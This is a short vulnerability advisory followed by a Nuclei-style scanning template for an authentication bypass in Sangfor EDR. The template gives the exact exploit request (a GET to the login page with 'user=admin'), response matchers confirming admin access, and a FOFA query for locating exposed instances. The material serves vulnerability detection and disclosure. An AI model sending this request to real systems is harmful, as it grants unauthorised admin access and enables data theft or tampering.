Sangfor EDR contains an authentication bypass vulnerability. An attacker can access the system with admin privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
PoC代码[已公开]
id: sangfor-edr-auth-bypass
info:
name: Sangfor EDR - Authentication Bypass
author: princechaddha
severity: high
description: |
Sangfor EDR contains an authentication bypass vulnerability. An attacker can access the system with admin privileges by accessing the login page directly using a provided username rather than going through the login screen without providing a username. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized operations.
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 8.1
cwe-id: CWE-287
metadata:
max-request: 1
fofa-query: app="sangfor"
tags: sangfor,auth-bypass,login,vuln
http:
- method: GET
path:
- "{{BaseURL}}/ui/login.php?user=admin"
matchers-condition: and
matchers:
- type: word
part: body
words:
- "/download/edr_installer_"
- type: word
part: header
words:
- 'Set-Cookie=""'
negative: true
- type: word
part: header
words:
- 'Set-Cookie='
- type: status
status:
- 302
# digest: 4a0a0047304502201273e2d7e67a241c25a6f7c09fc248e6a4d84159b01e9032d6ab8c177b3eff73022100936beeaf582f037dcf4e0c3015f706261fdf4d442eaae465d28b399b1997980c:922c64590222798bb761d5b6d8e72950